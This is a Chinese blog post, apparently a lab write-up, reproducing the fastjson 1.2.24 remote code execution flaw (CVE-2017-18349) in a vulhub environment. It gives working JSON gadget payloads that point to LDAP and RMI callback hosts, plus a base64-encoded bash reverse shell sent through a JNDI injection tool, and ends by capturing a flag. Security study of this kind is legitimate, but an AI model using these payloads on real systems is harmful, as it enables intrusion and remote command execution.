前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >漏洞复现

漏洞复现

原创
作者头像
用户8478947
发布2022-12-29 16:54:32
3710
发布2022-12-29 16:54:32
举报
文章被收录于专栏:安全学习安全学习

漏洞简介

事项

描述

漏洞概述

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

影响范围

1.2.24及之前版本。

漏洞编号

CVE-2017-18349

漏洞搭建

这里使用vulhub的fastjson/1.2.24-rce进行复现。

image-20221224172139113
image-20221224172139113

访问http://192.168.146.167:37150/

image-20221224172202792
image-20221224172202792

漏洞复现

使用工具进行检测

image-20221224172519250
image-20221224172519250

发现dnslog有数据,说明存在漏洞。

image-20221224172749636
image-20221224172749636

对应的payload

代码语言:javascript
复制
 {"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://dfk38o.dnslog.cn/aaa","autoCommit":true}}

然后再进行抓包,添入payload,手工再测一遍。发现确实存在。

image-20221224172637774
image-20221224172637774
image-20221224172707632
image-20221224172707632

验证有漏洞之后,就尝试反弹shell。这里使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行进一步的漏洞利用。

代码语言:javascript
复制
 反弹的的ip和端口是192.168.146.161和10000
 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNjEvMTAwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}

执行以下命令,进行反弹shell。

代码语言:javascript
复制
 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNjEvMTAwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}"

由于不知道对方java的版本,所以就一个个试。

image-20221224172834211
image-20221224172834211

然后发现漏洞利用成功

代码语言:javascript
复制
 {"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://192.168.146.161:1099/vbgahy","autoCommit":true}}
image-20221224172937662
image-20221224172937662

成功反弹了shell。

image-20221224172949669
image-20221224172949669

进入tmp目录下,成功拿到flag。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞简介
  • 漏洞搭建
  • 漏洞复现
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档